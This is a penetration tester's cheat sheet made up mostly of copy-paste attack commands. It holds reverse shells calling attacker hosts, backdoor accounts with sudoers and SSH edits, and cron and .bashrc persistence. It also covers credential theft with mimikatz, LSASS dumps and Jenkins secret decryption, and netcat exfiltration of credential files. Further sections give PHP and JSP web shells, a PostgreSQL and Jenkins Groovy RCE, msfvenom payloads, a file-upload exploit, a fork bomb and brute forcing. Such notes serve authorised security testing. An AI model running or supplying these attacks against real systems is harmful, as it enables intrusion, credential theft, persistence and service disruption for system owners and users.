Pentesting notes and snippets

Recon

Copy pasta stuff I use for recon - both inside and outside of a target.

Host Discovery

Ping Sweeping:
```
IP_RANGE='192.168.0.0'
SUBNET_MASK='/24'
nmap -sn -oA onlineHosts "${IP_RANGE}/${SUBNET_MASK}"
```
-sn: Use ping scan for host discovery (don’t run a port scan)
-oA: Store output in normal, XML, and grepable file formats

Parse IP Addresses from gnmap file

grep "^Host: " onlineHosts.gnmap | grep "Status: Up" | \
   cut -d " " -f 2 | sort -n | uniq

Skip ICMP checks
Use this when targets don’t respond to ping:
```
nmap -Pn "${TARGET_IP}"
```
-Pn: Skips the host discovery phase, and scans all addresses as if the system(s) were alive and responding to pings.
Useful when scanning an internet facing system.

Resource: https://medium.com/@hakluke/haklukes-guide-to-nmap-port-scanning-is-just-the-beginning-25d971692fdb

Test out of bound code execution with tcpdump

Use this: tcpdump -i eth0 icmp and icmp[icmptype]=icmp-echo -vv in conjunction with a ping command.

Information Gathering

After host discovery, you can run the following to capture the discovered IP addresses in an array:

file=targets.gnmap
TARGET_IPS=($(grep "^Host: " $file | grep "Status: Up" | cut -d " " -f 2 | sort -n
| uniq))

After discovering what hosts are responding, you’ll want to know what ports they’re exposing.

There are many ways to accomplish this, but this is the process I tend to follow (depending on the target, engagement scope, etc.).

Getting it done quickly with a SYN scan:
```
nmap -sS -p- "${TARGET_IP}"
```
-sS: SYN scan. Default choice, faster than TCP connect.
Does not complete the three way handshake, making it more stealthy. However, IPS/IDS and firewalls will detect and report a SYN scan.
-p-: Scan all 65535 ports - shorthand for -p 1-65535
If you’ve got the IP addresses in an array:
```
for ip in "${TARGET_IPS[@]}"; do sudo nmap -sS -p- $ip; done
```
When I want to be sure and am not worried about stealth:
Full three way handshake, not as fast as SYN scan and noisier. Considered most stable, and has least chance to crash the target.
```
nmap -sT -p- -Pn "${TARGET_IP}"
```
-sT: Run a TCP connect scan
-sV: Service version detection
--version-intensity: Used in conjunction with -sV to help identify running services.
The “intensity” value ranges between 0-9.
The higher the number, the more likely a service is to be properly identified. However, higher numbers also make scan times longer. Default number is 7.
When I REALLY don’t care about stealth:
```
sudo nmap -A -p- -v "${TARGET_IP}"
```
-A: Enables OS detection, service version detection, script scanning, and traceroute
-v: Increase verbosity of output
Version and OS enumeration:

sudo nmap <target ip> -sV --version-intensity 9 -O

Miscellaneous Nmap Stuff

Some useful nmap commands that don’t fit into any particular methodology I employ.

Detailed scan
```
nmap -T4 -A -v -oA detailedScanResults "${IP_RANGE}/${SUBNET_MASK}"
```
-T4: Aggressive
-oA: Store output in normal, XML, and grepable file formats

Single host TCP scan

nmap -Pn -sS --stats-every 3m --max-retries 1 \
   --max-scan-delay 20 --defeat-rst-ratelimit \
   -T4 -p- -oX $OUTPUT_FILENAME.xml $TAREGET

Parse all ports out of xml output

Output will be returned as a comma separated list

cat $OUTPUT_FILENAME.xml | \
   grep portid | \
   grep protocol=\"tcp\" | \
   cut -d'"' -f4 | paste -sd "," -

Detailed single host TCP scan
Run this after running the above single host TCP scan.
```
nmap -nvv -Pn -sSV -T1 -p$(cat <file from single host tcp scan>.xml | grep portid
| grep protocol=\"tcp\" | cut -d'"' -f4 | paste -sd "," -) --version-intensity 9
-A -oA <output filename DETAILED> <target>
```
-n: No DNS resolution on the IP addresses
-sSV: SYN scan and service version detection (-s is used to specify a scan type and the uppercase letters that follow are the parameters)

Single host UDP scan

nmap -Pn --top-ports 1000 -sU --stats-every 3m --max-retries 1 -T3 -oA <output filename>
<target>

-sU: Discover services using UDP. Very slow, can take 20-30 minutes for 1000 ports.

Resources:

Eyewitness

Single target as command line arg

Run from docker container, output results to ~/EyeWitness/results:

docker run --rm -it -e DISPLAY=$DISPLAY -v /tmp/.X11-unix:/tmp/.X11-unix -v ~/EyeWitness:/tmp/EyeWitness
eyewitness --single http://www.google.com --headless

Read targets out of a file

Put your targets in ~/EyeWitness/urls.txt

Run the following command:

docker run --rm -it -e DISPLAY=$DISPLAY \
   -v /tmp/.X11-unix:/tmp/.X11-unix \
   -v $HOME/eyewitness:/tmp/EyeWitness eyewitness \
   -f /tmp/EyeWitness/urls.txt --headless

The Results will be in ~/EyeWitness/results.

Responder

Responder can be a great tool to collect password hashes, and give you a starting point for gaining access to a system on the network.

Here’s one such scenario: https://markitzeroday.com/pass-the-hash/crack-map-exec/2018/03/04/da-from-outside-the-domain.html

All things reverse shells

Bash Reverse Shell

bash -i >& /dev/tcp/<evil ip>/4444 0>&1

bash -i >& /dev/tcp/$ATTACKERS_IP_ADDRESS/8080 0>&1

exec 5<>/dev/tcp/<evil ip>/4444;cat <&5 | while read line; do $line 2>&5 >&5; done

exec 5<>/dev/tcp/<evil ip>/4444;while read line 0<&5; do $line 2>&5 >&5; done

Netcat reverse shell

On evil server: nc -lvp <port> On victim: nc <evil server> <port> -e sh &

Python Reverse Shell

export RHOST="$(ipaddr)"
export RPORT=4444
python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd)
for fd in (0,1,2)];pty.spawn("/bin/bash")'

Scala Reverse Shell

import sys.process._
"nc -e /bin/sh evil.com 8080" !!;

Once the shell is established, run this command to get a bash shell:

python -c 'import pty;pty.spawn("/bin/bash")'

Some other nice ways to “upgrade” your netcat shell: https://medium.com/bugbountywriteup/pimp-my-shell-5-ways-to-upgrade-a-netcat-shell-ecd551a180d2

Very helpful resource for testing: https://www.tutorialspoint.com/compile_scala_online.php

PHP reverse shell

php -r '$sock=fsockopen("ATTACKER_IP",ATTACKER_PORT);exec("/bin/sh -i <&3 >&3 2>&3");'

Handle multiple reverse nc shells

go get github.com/WangYihang/Platypus
cd go/src/github.com/WangYihang/Platypus
go run platypus.go

To configure the listener to listen on port 8080:

run 0.0.0.0 8080

To list sessions:

list

This will give you a list of current sessions. Each has a unique hash that you need to copy if you want to interact with a given session.

To interact with a session:

jump <hash of session>
interact

To exit a session back to playpus:

exit

Project Repo: https://github.com/WangYihang/Platypus

Netcat reverse shell without -e

Create listener:
```
nc -lvp $PORT
```

Run the following on the target:

mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe | nc $ATTACKER_IP $PORT 1>/tmp/backpipe

Resource: https://pen-testing.sans.org/blog/2013/05/06/netcat-without-e-no-problem/

NFS

This is what you should do if you discover misconfigured NFS mounts.

Create folder to use for share:
```
mkdir -p nfs/some_great_share_name
```
Install packages needed for debian:
```
apt install -y nfs-common cifs-utils
```
Start services required:
```
service rpcbind start
```

Mount the share:

mount -t nfs $TARGET_MOUNT_IP_OR_HOSTNAME:/some_great_share_name -o
rw,nfsvers=2 nfs/some_great_share_name

Unmount the share when done:
```
umount nfs/some_great_share_name
```

Interesting things to try with the mount:

See if you can edit .profile or .bashrc or .bash_profile, etc. in a users home directory.
See if there is an authorized_keys file in any of the users home directories. If so, you might be able to create a backdoor:
```
find . -name "authorized_keys" 2>/dev/null
```

NFS commands:

Show available shares:

showmount -e target.system

Make a directory to house to contents of the share locally:

mkdir /tmp/target.system`

Mount the NFS share locally:

mount -t nfs target.system:/mount/path /tmp/target.system

Dismount the NFS share:

umount -f -l /tmp/target.system

Persistence

Stay awhile and listen…

Persist with SSH key

Create an ssh key on the attackers system by following the instructions on this page under Create SSH Key.
Add the contents of the public key to the victims ~/.ssh/authorized_keys file (or create one if it doesn’t already exist)
If you created an authorized_keys file previously, make sure to run chmod 0600 ~/.ssh/authorized_keys
You can then use the private key to access the target system: ssh -i /path/to/private/key user@target.com

Resource: https://www.defcon.org/images/defcon-15/dc15-presentations/Moore_and_Valsmith/Whitepaper/dc-15-moore_and_valsmith-WP.pdf

Bonus points if you’re able to do this with a nfs mounted home directory (you’ll get a lot more bang for your buck)

Create backdoor user

# Create evil user
useradd evil -s /bin/bash -m
# Change evil user's password
echo -e "evilpass\nevilpass" | passwd evil
# Add evil user to sudoers
echo 'evil ALL=(ALL:ALL) ALL' >> /etc/sudoers
# Give evil user ssh access
echo -e "PasswordAuthentication yes\nAllowUsers evil" >> /etc/ssh/sshd_config

To delete the backdoored user:

# Delete evil user
userdel evil
# Delete evil user from sudoers
sed -i '/evil ALL=(ALL:ALL) ALL/d' /etc/sudoers
# Delete evil user from ssh access
sed -i '/^PasswordAuthentication yes/d' /etc/ssh/sshd_config && sed -i '/^AllowUsers
evil/d' /etc/ssh/sshd_config

Add user with no password to sudoers

user ALL=(ALL:ALL) NOPASSWD:ALL

Resource: https://phpraxis.wordpress.com/2016/09/27/enable-sudo-without-password-in-ubuntudebian/

Lateral Movement

Get going while the gettin’ is good.

Hijacking SSH with Master Mode

Copy this into ~/.ssh/config for a given compromised user:

Host *
ControlMaster auto
ControlPath ~/.ssh/sockets/ssh-%r@%h:%p
ControlPersist yes

Also run this command:

mkdir ~/.ssh/sockets

Now you simply need to wait for the compromised user to ssh to another host. Once this happens, you should be able to ssh to that system without a password as that user.

Resource: https://www.defcon.org/images/defcon-15/dc15-presentations/Moore_and_Valsmith/Whitepaper/dc-15-moore_and_valsmith-WP.pdf

Misc Linux Post Exploitation Stuff

It’s not organized, but it’s easy to search, copy, and paste from.

Find logs on a linux system

find . -type f -name "*.log"

Take screenshot

# Requires imagemagick: sudo apt install -y imagemagick
DISPLAY=:0 import -silent -window root /var/tmp/.tmp

Ask for creds

DISPLAY=:0 gksudo -p -m "Enter your password to apply changes."

Access a user’s env

This is incredibly useful when you find that users are storing credentials in their environment variables.

sudo su - <username>
env

Searching for valuable information

Look for config files:

# This command works on linux and macOS
du -a $directory | awk '{print $2}' | grep '\.conf$'

Look for log files:
```
find . -type f -name "*.log"
```

Transfer file via netcat

On host to receive file:

nc -lvp [some port] > .evil.file

On host to send file

nc -w 3 [host receiving file] [some port] < evil.file

If the file is a reverse shell be sure to make it an executable on the system:

chmod +x .evil.file

Who has logged in previously

who, w, last -F

Are you in the sudoers file

sudo -l, cat /etc/sudoers

Get network information

This includes things like open ports and their associated processes.

netstat -antup
lsof -i

Search for secrets on git server

Use this is you land on a git server to look for some juicy secrets:

for i in $(git ls-tree -r master | cut -d " " -f 3 | cut -f 1); do echo -e "${i}";
git cat-file -p ${i} | grep -i password; done

Find programs with root privs

find / -perm -04000 > programsWithRootAccess.txt

Screenshot the targets screen when you’re ssh’ed into a system

DISPLAY=:0 import -window root screenshot.jpg

SUID Executables

Look for SUID files:

find / -perm -u=s -type f 2>/dev/null

Resources:

Linux Post Exploitation Tools

We don’t always need to remake the wheel. Sometimes the existing wheel works just fine.

Monitor processes

wget https://github.com/DominicBreuker/pspy/releases/download/v1.0.0/pspy32s
chmod +x pspy32s && ./pspy32s

Resource: https://delta.navisec.io/privilege-escalation/

Unix-privesc-check

Find misconfigurations, files with open permissions, etc. Video Reference

Download it:

wget https://raw.githubusercontent.com/pentestmonkey/unix-privesc-check/master/upc.sh
-O /tmp/upc.sh

-or-

Download and run privesc-check.sh, save output to a file, and clean up (standard):

wget http://pentestmonkey.net/tools/unix-privesc-check/unix-privesc-check-1.4.tar.gz
&& cd /tmp && tar -xvf unix-privesc-check-1.4.tar.gz && bash /tmp/unix-privesc-check-1.4/unix-privesc-check
standard | tee /tmp/output2.txt && rm /tmp/unix-privesc-check-1.4.tar.gz && rm -rf
/tmp/unix-privesc-check-1.4

-or-

Download and run privesc-check.sh, save output to a file, and clean up (detailed):

wget http://pentestmonkey.net/tools/unix-privesc-check/unix-privesc-check-1.4.tar.gz
&& cd /tmp && tar -xvf unix-privesc-check-1.4.tar.gz && bash /tmp/unix-privesc-check-1.4/unix-privesc-check
detailed | tee /tmp/output2.txt && rm /tmp/unix-privesc-check-1.4.tar.gz && rm -rf
/tmp/unix-privesc-check-1.4

LinEnum

Another good one to find misconfigurations, files with open permissions, etc.

Download it:

wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/linenum.sh

-or-

Download and run linenum, save output to a file:

wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/linenum.sh
&& bash /tmp/linenum.sh | tee /tmp/output.txt

Linux Exploit Suggester

wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
--no-check-certificate -O /tmp/les.sh && bash /tmp/les.sh | tee /tmp/les.txt &

LinPEAS

Grab it:

curl https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh
| sh

Run it and send the output to a file:

linpeas -a > /dev/shm/linpeas.txt

Linuxprivchecker

Download and run linuxprivchecker.py, save output to a file:

wget https://raw.githubusercontent.com/sleventyeleven/linuxprivchecker/master/linuxprivchecker.py
--no-check-certificate -O /tmp/lpc.py && python /tmp/lpc.py | tee /tmp/output1.txt

If there are services running as privileged user, try to find existing exploits.

Windows Post Exploitation

I’ll eventually make this into its own page, but for now everything is on here.

# whoami
echo %USERDOMAIN%\%USERNAME%
# create user && add to Administrators
net user <username> <password> /ADD
net localgroup Administrators <username> /ADD
# list local admins
net localgroup administrators
# Look for passwords in txt, xml && xls files
findstr /si password *.txt| *.xml| *.xls
# Show open ports
netstat -bano
# Get list of domain admins
net group "Domain Admins" /domain

Find weak service permissions

Video reference

Information on how to download sysinternals using powershell can be found here.

accesschk.exe -qwcu "Authenticated Users" * /accepteula
accesschk.exe -qwcu "Users" * /accepteula
accesschk.exe -qwcu "Everyone" * /accepteula

Once one has been found, modify the binpath to point to the net user bin to create a rogue user:

sc config <vuln service> binpath= "net user <username> <password> /add"

Restart it:

sc start <vuln service>

Add that user to the administrators group:

sc config <vuln service> binpath= "net localgroup administrators <username> /add"

Restart it again:

sc start <vuln service>

Find weak file permissions

Video reference

Information on how to download sysinternals using powershell can be found here.

accesschk.exe -qwsu "Authenticated Users" * /accepteula
accesschk.exe -qwsu "Users" * /accepteula
accesschk.exe -qwsu "Everyone" * /accepteula

Always install elevated privilege escalation

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Use metasploit module:

use exploit/windows/local/always_install_elevated
set LPORT 443
exploit

Use sessiongopher to find saved session info

Grab it:

(New-Object System.Net.WebClient).DownloadFile("https://github.com/fireeye/SessionGopher/blob/master/SessionGopher.ps1","C:\Temp\SessionGopher.ps1")

Run it:

Import-Module .\SessionGopher.ps1
Invoke-SessionGopher -Thorough

Windows WGET using cmd

bitsadmin /transfer myDownloadJob /download /priority normal http://<evil server>/evil.exe
c:\temp\evil.exe

Upload stuff to a Windows machine via RDP

http://haacked.com/archive/2010/05/18/remote-desktop-file-copy.aspx/

Kali terminal:

rdesktop -r disk:ww=/path/to/folder/to/mount targetsystem.com

Request Credentials from user

Request credentials:

$credential = $host.ui.PromptForCredential("Credentials Required", "Please enter
your username and password.", "$env:username","NetBiosUserName")
$credential.Password | ConvertFrom-SecureString
$env:username
$credential.GetNetworkCredential().password

Bypass LSA Protection

You can view protected processes using Process Explorer by looking at the Protection column. To bypass it, you can use a tool called PPLKiller:

git clone https://github.com/RedCursorSecurityConsulting/PPLKiller

Next, open PPLKiller.sln with Visual Studio 2019 on a Windows machine and build a release binary.

You will also need to include a driver from a sketchy site, so be sure to do that before zipping up PPLKillerx64.exe for delivery to your target.

Once it’s uploaded, extract and run it:

Expand-Archive -Path C:\temp\PPLKiller.zip -DestinationPath C:\temp\PPLKiller
cmd
cd C:\Temp\PPLKiller
.\PPLKillerx64.exe /installDriver
.\PPLKillerx64.exe /disableLSAProtection
## Open Process Explorer and observe that lsass.exe is no longer protected
.\PPLKillerx64.exe /uninstallDriver

with this out of the way, you can run mimikatz.

Dump creds with mimikatz

.\mimikatz.exe
privilege::debug
sekurlsa::logonPasswords full
exit

Lsass dump

If you are dealing with LSA protection and you just want to do an lsass dump, you’ll want a tool called PPLdump:

git clone https://github.com/itm4n/PPLdump.git

Next, open PPLDump.sln with Visual Studio 2019 on a Windows machine and build a release binary.

Create a zip that includes the binary along with the DLL you’ll need (this is architecture specific). For example, if your target is x64, your zip should have:

PPLDump.exe
PPLdumpDll-64.dll

Once everything is in place on your target, you can run the following to do an Lsass dump:

.\PPLDump-64.exe -v lsass.exe .\lsass.dmp
.\mimikatz.exe
privilege::debug
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords

Empire

Install on Kali

sudo apt-get install -y powershell-empire

Create a listener

uselistener http
set Name test
set Host http://attacker.lab
set Port 6666
execute

Create a stager

usestager windows/launcher_bat test
info
execute

Interact with agent

agents
interact <agent id>

POC creation

Unquoted Service Paths

Resources:

Cracking hashes

Identify what type of hash it is with Hash ID. Once you’ve done this, crack it with hashcat, john, etc.
Cracking hashes in /etc/shadow: https://www.cyberciti.biz/faq/understanding-etcshadow-file/
Hashcat cheatsheet: https://www.dropbox.com/s/kdklrowv683yq1a/HashcatCheatSheet.v2018.1b%20%282%29.pdf?dl=0

Using john with an SSH key that has a pw

Use ssh2john.py to take the private key and use it to create a format that john can use:

## Assuming we are in the current directory for John
./run/ssh2john.py privateKey > john_ssh_fmt.txt
./run/john john_ssh_fmt.txt --wordlist=wordlist_to_use_for_pw.txt

Resource: https://twitter.com/curi0usJack/status/1162452287677186050?s=20

Brute forcing

SSH with Hydra

hydra ssh://192.168.1.1 -v -L users.txt -t 4 -P 10-million-password-list-top-10000.txt

Resource: https://null-byte.wonderhowto.com/how-to/gain-ssh-access-servers-by-brute-forcing-credentials-0194263/

Basic auth page with Hydra

hydra -V -L <list with usernames to try> -P <list with passwords to try> <target
site> http-get /<path to page with auth>

Denial of Service

When you really want your incredibly understanding, understaffed, and forgiving blue team to notice you.

Crash system as normal user with fork bomb

forkbomb(){ forkbomb | forkbomb & }; forkbomb

Resource: https://linuxconfig.org/how-to-crash-your-linux-system-with-fork-bomb

Getting a shell using PostgreSQL

This assumes you have the permissions necessary for this to work.

Set up a listener:

nc -lvp 8080

Connect to the postgresql DB:

psql -h <ip with db> -U <db username>

Review the access your user has with the \du command. Alternatively, you can go in blind and run a quick test (or run a test after you’ve established you have the proper access and permissions to do so):

CREATE OR REPLACE FUNCTION exec() RETURNS text AS $BODY$ BEGIN DROP TABLE IF EXISTS
bDGhLsYPcd; CREATE TEMP TABLE bDGhLsYPcd (INPUT TEXT); COPY bDGhLsYPcd FROM PROGRAM
'pwd'; RETURN NULL; END; $BODY$ LANGUAGE plpgsql; SELECT * FROM exec(); SELECT *
FROM bDGhLsYPcd;

This should give you the working directory the database is running on if all went well.

Next, get your reverse shell loaded up:

CREATE OR REPLACE FUNCTION exec() RETURNS text AS $BODY$ BEGIN DROP TABLE IF EXISTS
bDGhLsYPcd; CREATE TEMP TABLE bDGhLsYPcd (INPUT TEXT); COPY bDGhLsYPcd FROM PROGRAM
'echo "bash -i >& /dev/tcp/<attack machines ip address>/8080 0>&1" >> /tmp/unfriendly.sh';
RETURN NULL; END; $BODY$ LANGUAGE plpgsql; SELECT * FROM exec(); SELECT * FROM bDGhLsYPcd;

Execute it:

CREATE OR REPLACE FUNCTION exec() RETURNS text AS $BODY$ BEGIN DROP TABLE IF EXISTS
bDGhLsYPcd; CREATE TEMP TABLE bDGhLsYPcd (INPUT TEXT); COPY bDGhLsYPcd FROM PROGRAM
'bash /tmp/unfriendly.sh'; RETURN NULL; END; $BODY$ LANGUAGE plpgsql; SELECT * FROM
exec(); SELECT * FROM bDGhLsYPcd;

You should have your shell.

Fix su: must be run from a terminal

python -c 'import pty;pty.spawn("/bin/bash")'

Jenkins

We hate using it as much as we love attacking it.

Shell on Jenkins via Groovy Console

Set up a listener:
```
nc -lvp 8080
```

Set up a webserver and host your payload:

bash -i >& /dev/tcp/<attackers ip>/8080 0>&1

Download your payload:

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = "curl http://<attackers ip>/unfriendly.sh --output /tmp/shell".execute()
## You could also use wget
## def proc = "wget http://<attackers ip>/unfriendly.sh -O /tmp/shell".execute()
## Use --proxy=off with wget if your proxy is messing with your ability to get that
code
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out&gt; $sout err&gt; $serr"

Make sure your payload is on the target system:

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = "ls /tmp".execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out&gt; $sout err&gt; $serr"

Execute the payload:

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = "bash /tmp/shell".execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out&gt; $sout err&gt; $serr"

Enjoy shell.

If /script is not accessible, but /computer is

Go to one of the listed nodes
Select one of the projects
Click Script Console on the left

Jenkins on Windows

Shout out to Nick Georgieff for figuring this one out.

Quick test on the groovy console: println '"'powershell -command "ls"'.execute().text

Once you’ve verified that is working, switch gears to get a meterpreter session going.

To setup the handler, start by creating an rc file so you don’t need to type the commands into msfconsole every time to interact with your payload.

Create the file: touch windows_rev_powershell_listener.rc

In windows_rev_powershell_listener.rc:

use exploit/multi/handler
set PAYLOAD cmd/windows/reverse_powershell
set LHOST <host running metasploit>
set LPORT 445
set ExitOnSession false
exploit -j -z

Run the rc file: msfconsole -r windows_rev_powershell_listener.rc

Connect to handler from the groovy console:

String host="<host running metasploit>";
int port=445;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream
po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try
{p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

At this point, you should have a meterpreter session.

Stealing credentials from Jenkins

Locate the credentials file:

find / -name "credentials.xml" 2>/dev/null

Find a password in the file and copy it.

In the groovy console:

println(hudson.util.Secret.decrypt("<password>"))

Resource: https://www.dropbox.com/s/5j1n4ltm630gcyn/DeadDropOct26_Slides.pdf?dl=0

Alternatively, you can also use https://github.com/cheetz/jenkins-decrypt after pulling down the master.key, hudson.util.Secret, and credentials.xml file.

Exfil the files via cli
On the victim, run:
```
nc -w3 [attacker IP] 5000 < credentials.xml
```
On the attacker:
```
nc -l -p 5000 > credentials.xml
```
Do this for the rest of the files (master.key, hudson.util.Secret)
Resource: https://www.n00py.io/2017/01/compromising-jenkins-and-extracting-credentials/

Stealing creds via Job Import plugin

If you see Job Import Plugin in the web UI, click it.
If you have the Job/Create permission, you should be able to specify a Remote Jenkins URL and a credential
Specify your system as the remote jenkins url, i.e. http://192.168.1.2:8080
Choose the credential you want to steal
Open a listener on the attacker’s system: nc -lvp 8080
Decode output for credentials that comes from the Authorization header: cat <base64 output> | base64 --decode

Jenkins Post Exploitation

If you get a shell on a jenkins system, be sure to check if there is a /jobs folder in the jenkins directory. If so, be sure to go through the various subfolders and steal any config.xml files with a <password> field. You can use the same trick as above to decrypt the credentials, replacing the credentials.xml with config.xml.

Metasploit

Run exploit in the background: exploit -j Do not interact with a session after successful exploitation of a target: exploit -z You can combine them: exploit -j -z Persist listener if a meterpreter session dies: set ExitOnSession false

Create RC Listener

You can create an rc file so you don’t need to type the commands into msfconsole every time to interact with your payload.

Create the file:

touch listener.rc

In listener.rc:

use exploit/multi/handler
set payload <payload>
set LHOST <host running metasploit>
set LPORT <port>
set ExitOnSession false
exploit -j -z

Run the rc file:

msfconsole -r listener.rc

Capture NTLM Hash with Metasploit

Start the smb capture server:

use auxiliary/server/capture/smb
run

Get victim to connect via smb. If they need help via phish and they’re on a mac, have them open Finder, Command+k, and then type in the following:

smb://<evil server ip>

MSFVenom

x64 macos

msfvenom -p osx/x64/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=4444 -f
macho > notEvil.macho

RC Script:

use exploit/multi/handler
set PAYLOAD osx/x64/meterpreter_reverse_tcp
set LHOST <Your IP Address>
set LPORT 4444
set ExitOnSession false
exploit -j -z

x86 linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your
Port to Connect On> -f elf > shell.elf

To persist the file once you’ve uploaded it to your target in ~/.bashrc:

echo "~/.evil.file &" >> ~/.bashrc

For good measure, throw up a cronjob for every 5 minutes as well:

# write out current crontab
crontab -l > mycron
# echo new cron into cron file
echo "*/5 * * * * ~/.evil.file" >> mycron
# install new cron file
crontab mycron
rm mycron

RC Script:

use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST [listener ip]
set ExitOnSession false
exploit -j -z

Run it:

msfconsole -r linux_rev.rc

64-bit exe

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<local host ip> LPORT=4444
-f exe -o evil.exe

32-bit exe

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<local host ip> LPORT=445 -f exe
-o friendly.exe

exe-service

Useful when you need a running service, like for unquoted service path vulnerabilities.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<local host ip> LPORT=445 -f exe-service
-o friendly.exe

PHP Reverse shell payload

msfvenom -p php/meterpreter/reverse_tcp LHOST=<local host ip> LPORT=4444 -e php/base64
-f raw > evil_file.php && sed -i '1s/^/<?php\n/' evil_file.php && sed -i -e '$a\?>'
evil_file.php

PHP bind payload

msfvenom -p php/meterpreter/bind_tcp LPORT=4444 > msf_bind_shell.php

After starting the listener, upload the php code to the target server. Be sure to replace the /*<?php /**/ with <?php at the top of the file, and replace the % at the end of the file with ?>.

Once the file is uploaded, open the file on the target server. Follow this with an exploit in metasploit.

Encoded x64 aspx shell

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<local host ip> LPORT=4444
-e x64/xor -f aspx > shell64.aspx

Jar

msfvenom -p java/meterpreter/reverse_tcp LHOST=<local host ip> -f raw -o /tmp/java.jar

Start listener:

msfconsole
use exploit/multi/handler
set PAYLOAD java/meterpreter/reverse_tcp
set LHOST <local host ip>
set ExitOnSession false
exploit -j -z

Powershell payload

msfvenom -p cmd/windows/reverse_powershell LHOST=<local host ip> LPORT=445 -o friendly.bat

Start listener:

msfconsole
use exploit/multi/handler
set PAYLOAD cmd/windows/reverse_powershell
set LHOST <local host ip>
set LPORT 445
set ExitOnSession false
exploit -j -z

Copy the evil code:

# On the linux machine
cat friendly.bat

Start powershell on victim:

%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe

Paste the evil code into the powershell terminal, or create a .bat file and run it.

Resources:

Adobe Captivate Quiz Reporting Feature ‘internalServerReporting.php’ File Upload

Using Burp, intercept a GET request to the target and throw it into repeater. Next, right click and Change request method to POST.

Here’s what the request should look like:

POST /internalServerReporting.php HTTP/1.1
Host: <target running adobe captivate>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:55.0) Gecko/20100101
Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, sdch
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 201

CompanyName=.&DepartmentName=.&CourseName=.&Filename=test.php&Filedata=<?php

if(isset($_REQUEST['cmd'])){
 echo "<pre>";
 $cmd =($_REQUEST['cmd']);
 system($cmd);
 echo "</pre>";
 die;
}

?>

Once you’ve sent it and gotten a 200 back, you can access the web shell like so:

http://adobetarget/CaptivateResults/test.php?cmd=id

Don’t forget to clean it up when you’re done:

<http://adobetarget/CaptivateResults/test.php?cmd=del test.php>

With Metasploit: https://hydrasky.com/network-security/create-a-web-backdoor-payload-with-metasploit/ Create the payload:

msfvenom -p php/meterpreter/bind_tcp LPORT=4000 > backdoor.php In php_listener.rc:

use exploit/multi/handler
set payload <payload>
set LHOST <host running metasploit>
set LPORT 4444

Run the rc file:

msfconsole -r php_listener.rc

Upload the php code to the target server. I made sure to replace the /*<?php /**/ with <?php at the top of the file, and replaced the % at the end of the file with a ?> before doing so with Burp repeater.

Once the file is uploaded, open the file on the target server. Follow this with an exploit in metasploit.

You should have a shell at this point.

Maybe give this a shot https://dl.packetstormsecurity.net/papers/attack/root3.pdf

Enumerate missing patches on a windows machine

post/windows/gather/enum_patches
post/multi/recon/local_exploit_suggester

Coldfusion Security Resources

https://nets.ec/Coldfusion_hacking http://breenmachine.blogspot.com/2013/03/cool-coldfusion-post-exploitation.html https://github.com/reider-roque/pentest-tools/blob/master/shells/webshell.cfm

RCE with vulnerable endpoint in Apache Tomcat

If the /manager/text/deploy endpoint is exposed on an Apache Tomcat site, you can do the following to get a shell:

# Create a malicious webshell, index.jsp:
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec(cmd,null,null);
         BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) { output += s+"</br>"; }
      }  catch(IOException e) {   e.printStackTrace();   }
   }
%>
<pre><%=output %></pre>

Turn it into a war file:

jar -cvf webshell.war index.jsp

Upload it: curl –upload-file webshell.war “https://insecure.site.com/manager/text/deploy?path=/evil"

Access the webshell:

https://insecure.site.com/evil/index.jsp

You can also get a file upload page going as well with the war file from here. Follow the steps above to deploy it, and find the file upload page at /UploadServlet30/upload.jsp.

Once you’re finished, you can also remove the webshell with the following command:

curl "https://insecure.site/manager/text/undeploy?path=/evil"

Resources:

IDRAC to shell

Try logging into the web console with root/calvin.

If this works, go to the Virtual Console and:

Change Plug-in Type to HTML5
Change Default action upon session sharing request timeout to Full access
Click Apply
